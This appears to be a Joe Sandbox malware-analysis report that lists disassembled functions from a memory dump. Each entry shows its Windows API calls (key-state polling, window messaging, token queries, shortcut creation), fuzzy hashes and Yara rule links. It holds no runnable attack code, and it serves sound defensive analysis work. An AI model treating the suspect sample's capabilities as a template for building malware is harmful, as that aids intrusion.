Opcode Fuzzy Hash: a7c31d84abae30d36a3ad0fea5506d6fd9318666c5bf74f24917d4b26a566fff
Instruction Fuzzy Hash: 79513975A00109DFCB05EF64C985EAEBBF5EF08310B148099E909AB3A2CB35ED55EB50

Function 00F7A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9556a3349fa924f05f3a8abffb26b5fa00fed94a613bd13c545f70d43738256e
Instruction ID: 8bf837f92dbcd4278bbd462bfd47ae77f6f72d0c7bc363901aeddf5c4bfe9a8f
Opcode Fuzzy Hash: 9556a3349fa924f05f3a8abffb26b5fa00fed94a613bd13c545f70d43738256e
Instruction Fuzzy Hash: 4A41D536D00108AFD718DB28CC84FBDB7B4EB89320F568166E91DA72D1D6709D52FA52

Function 00EF2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00EF2727
ScreenToClient.USER32(00FB77B0,?), ref: 00EF2744
GetAsyncKeyState.USER32(00000001), ref: 00EF2769
GetAsyncKeyState.USER32(00000002), ref: 00EF2777

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: ea01e1eec489c871575b2c0685ff59752a5b32e1163aebdd498cbdc9ae425386
Instruction ID: 1099f6e04d63ace9fce2aa584d53bc1bbab153690488ec11a472785bc295f35b
Opcode Fuzzy Hash: ea01e1eec489c871575b2c0685ff59752a5b32e1163aebdd498cbdc9ae425386
Instruction Fuzzy Hash: 17416D35904119FBDF199F68C844AFDBB74BB05364F20831AF928A62D0CB31AD54EB91

Function 00F495D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00F495E8
PostMessageW.USER32(?,00000201,00000001), ref: 00F49692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00F4969A
PostMessageW.USER32(?,00000202,00000000), ref: 00F496A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00F496B0

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 56234c4886751fd7ed601297f9dfce88abc85b9e3f98091dd53aa13d7258017e
Instruction ID: 2bb8143ab8e762d414f432bb7a47661e18264748bf06bba54c741c03ea18b3cc
Opcode Fuzzy Hash: 56234c4886751fd7ed601297f9dfce88abc85b9e3f98091dd53aa13d7258017e
Instruction Fuzzy Hash: 8D31BC71A04219EBDB14CF68D94DAEE3FB5EB44325F114219FD24AA2D0C7B09924EB90

Function 00F4BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00F4BD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00F4BDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00F4BDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00F4BE18
_wcsstr.LIBCMT ref: 00F4BE22

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 2e2829aac64200d67a16bbd788d53ac73e4fa8b05d6e526a85a2d417c364be3f
Instruction ID: 5c54940b3defc0df5c1049bb0d4dd3a022ddb2f720933c7c8beb6dd1d4841d8c
Opcode Fuzzy Hash: 2e2829aac64200d67a16bbd788d53ac73e4fa8b05d6e526a85a2d417c364be3f
Instruction Fuzzy Hash: B3210732A04204BAEB255B759C09EBB7FACDF88760F104069FD09CA192EF65CC91B760

Function 00F7B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

GetWindowLongW.USER32(?,000000F0), ref: 00F7B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00F7B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00F7B841
GetSystemMetrics.USER32(00000004), ref: 00F7B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00F6155C,00000000), ref: 00F7B888

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 62a6618cf343dd5e8fd3b7df0a4845dc79ec0b4201bf6ff6d79a64652d926408
Instruction ID: 263b113880c0a53bd6a5f890285e583942bfd1ba233270e9416e4bfb6bb01438
Opcode Fuzzy Hash: 62a6618cf343dd5e8fd3b7df0a4845dc79ec0b4201bf6ff6d79a64652d926408
Instruction Fuzzy Hash: 1C21A631914219AFCB149F39CC04B6937A8FB46331F24873AF929D75E0D7308811EB92

Function 00F66138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00F66159
GetForegroundWindow.USER32 ref: 00F66170
GetDC.USER32(00000000), ref: 00F661AC
GetPixel.GDI32(00000000,?,00000003), ref: 00F661B8
ReleaseDC.USER32(00000000,00000003), ref: 00F661F3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 14b75fd8b76fc454b4b275c2f62ffe6cf134b57311ed5a391f4db985a273ddc6
Instruction ID: 26c500d94c7bcd76088083b0973995eef3bd77cdcc8fc52634520e3ca40285a6
Opcode Fuzzy Hash: 14b75fd8b76fc454b4b275c2f62ffe6cf134b57311ed5a391f4db985a273ddc6
Instruction Fuzzy Hash: 3821C676A00608AFD700EF65DC88AAABBF5EF48311F048469F94AD7352DF30AC05DB90

Function 00EF16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00EF1729
SelectObject.GDI32(?,00000000), ref: 00EF1738
BeginPath.GDI32(?), ref: 00EF174F
SelectObject.GDI32(?,00000000), ref: 00EF1778

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: cc6b5b046f5f57db895c76db790407afc6528504983c30dfdd2ea1aa239b13aa
Instruction ID: cb50952b94245358937c333d165bdee00a2be08e16bc0a26dd17038b81771cb3
Opcode Fuzzy Hash: cc6b5b046f5f57db895c76db790407afc6528504983c30dfdd2ea1aa239b13aa
Instruction Fuzzy Hash: 9E21A13080430CEBDB11AF24EC887BA7BA8FB41325F244396F919A61E0D770D995EF90

Function 00F4C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00F4C84C
_memcmp.LIBCMT ref: 00F4C86A
_memcmp.LIBCMT ref: 00F4C87D
_memcmp.LIBCMT ref: 00F4C895
_memcmp.LIBCMT ref: 00F4C8AD

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 83cb80cbe058c9ad694e52acb880b5ab8bc0bc87433f588b984254d80c969fd2
Instruction ID: 348a9057336c43446127c213584ce00123602f51cb53cad7eb8de6776f4afcaf
Opcode Fuzzy Hash: 83cb80cbe058c9ad694e52acb880b5ab8bc0bc87433f588b984254d80c969fd2
Instruction Fuzzy Hash: 4601B1B3B021057BE22466119C82FFB7B6CAA61794F044035FE0697742F7A6DE11B2E6

Function 00F5504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F55075
__beginthreadex.LIBCMT ref: 00F55093
MessageBoxW.USER32(?,?,?,?), ref: 00F550A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00F550BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00F550C5

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 27f3107532743d76c62b90a5b809cdcdd2be30903fa2096e27253827a8157551
Instruction ID: eb21fa0a19c230b545a2ea6a6d3a51b94c720b55bf0ee0488cde1a12b29e467f
Opcode Fuzzy Hash: 27f3107532743d76c62b90a5b809cdcdd2be30903fa2096e27253827a8157551
Instruction Fuzzy Hash: 3911257690870CABC7009BA89C48AEB7BACAB85721F140255FD14D3390D6718908ABE0

Function 00F48E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F48E3C
GetLastError.KERNEL32(?,00F48900,?,?,?), ref: 00F48E46
GetProcessHeap.KERNEL32(00000008,?,?,00F48900,?,?,?), ref: 00F48E55
HeapAlloc.KERNEL32(00000000,?,00F48900,?,?,?), ref: 00F48E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F48E73

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 1916eeb4dfe8b5d8ae58d0aa2312d135a48e6853208856952258de09caba6b2c
Instruction ID: 34a12c62e0520a7b23dfe937f90792a1cd70f2f90751e8b4b89843c17e63ebfb
Opcode Fuzzy Hash: 1916eeb4dfe8b5d8ae58d0aa2312d135a48e6853208856952258de09caba6b2c
Instruction Fuzzy Hash: F701FB71601208AFDB205FA5DC88DAB7FADEF897A5B500569F849C3220DE319C15EB70

Function 00F557FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F5581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00F55829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F55831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00F5583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F55877

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 25ec003777bad5ef197b8ba686b71ba771790734c0c8609ed081cfac2a594d6f
Instruction ID: 97cc775f961e7a920beaaadb4ea300b882fdc7f0623f8ca1ec41f8fe68b4f7c8
Opcode Fuzzy Hash: 25ec003777bad5ef197b8ba686b71ba771790734c0c8609ed081cfac2a594d6f
Instruction Fuzzy Hash: D9015B31C01A1D9BCF009FE4D859AEDBBB8BB08B22F404156EA01B2140CB319558EBA1

Function 00F48CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00F48CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00F48CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00F48CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00F48CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00F48D14

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 945335ea5e79c51cf70a16b24b929b278449471a14b444e71c253070aa9e198d
Instruction ID: 32fd78e05c967b170dfc57e6d79e8960340667bde5a0abaf9d515e679ad2da1b
Opcode Fuzzy Hash: 945335ea5e79c51cf70a16b24b929b278449471a14b444e71c253070aa9e198d
Instruction Fuzzy Hash: EEF08C31601208AFEB500FE49C8CEBB3FACEF497A4B504025F90482190DE609C05FB60

Function 00F48D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00F48D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D75

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 9229da6349772c916102745226ce6c4c140e9e96f608bbfbd8080f29b4d82e40
Instruction ID: 4ead693ba0b916a9f57b7e0d75f7b343daf7476836034f6c820bec3a7b4397e8
Opcode Fuzzy Hash: 9229da6349772c916102745226ce6c4c140e9e96f608bbfbd8080f29b4d82e40
Instruction Fuzzy Hash: C3F08C31601208AFEB510FA4EC88FBB3BACEF497A4F440115F95482290DE609D05FB60

Function 00F4CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00F4CD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00F4CDA7
MessageBeep.USER32(00000000), ref: 00F4CDBF
KillTimer.USER32(?,0000040A), ref: 00F4CDDB
EndDialog.USER32(?,00000001), ref: 00F4CDF5

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 7c54886649d0b6d18fdceeef8c2c0ebb95d1bc82cec4f504cf88a2fa809acab3
Instruction ID: 267d4d6f95a97aad2339b2faad91979facb46355655bfb26f5554a589c50dfea
Opcode Fuzzy Hash: 7c54886649d0b6d18fdceeef8c2c0ebb95d1bc82cec4f504cf88a2fa809acab3
Instruction Fuzzy Hash: 88018B31901708ABEB615B50DD4EBE67F78FF00715F400669F592A10D1EFF4A958ABC0

Function 00EF178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00EF179B
StrokeAndFillPath.GDI32(?,?,00F2BBC9,00000000,?), ref: 00EF17B7
SelectObject.GDI32(?,00000000), ref: 00EF17CA
DeleteObject.GDI32 ref: 00EF17DD
StrokePath.GDI32(?), ref: 00EF17F8

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: a314fb484cddff6646da219c31c7ff14b80cc0ffaeeb686dbaa12dcd63dd8def
Instruction ID: 8690b59c6a0c0ab2786bcb2572e1eea2cb77b68449ac16e47b9bbbfde96771d9
Opcode Fuzzy Hash: a314fb484cddff6646da219c31c7ff14b80cc0ffaeeb686dbaa12dcd63dd8def
Instruction Fuzzy Hash: 44F0193000874CEBDB556F25EC8C7AA3BA4AB41326F648355E92D641F0CB30C999FF50

Function 00F5C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00F5CA75
CoCreateInstance.OLE32(00F83D3C,00000000,00000001,00F83BAC,?), ref: 00F5CA8D

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

CoUninitialize.OLE32 ref: 00F5CCFA

Strings

.lnk, xrefs: 00F5CA09, 00F5CA31, 00F5CA3B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 699361e913946ccfa9645b68cd6fd8540da6618e95e245501bbf86ef66b0e9ef
Instruction ID: 8c494ded164f9939fbb9599f3695955f7b5eb2c8bbf3474868fe183936ab3047
Opcode Fuzzy Hash: 699361e913946ccfa9645b68cd6fd8540da6618e95e245501bbf86ef66b0e9ef
Instruction Fuzzy Hash: C0A10BB1104205AFD300EF64CC91EABB7E8EF94714F40491DF656972E2EB71EA49CB92

Function 00EFE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00F10FE6: std::exception::exception.LIBCMT ref: 00F1101C
Part of subcall function 00F10FE6: __CxxThrowException@8.LIBCMT ref: 00F11031

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F01680: _memmove.LIBCMT ref: 00F016DB

__swprintf.LIBCMT ref: 00EFE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00EFE431

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 6bafadca70546116dabdc0d885c43c1ac0d0e0b620acfdf5f734b214f77a4c16
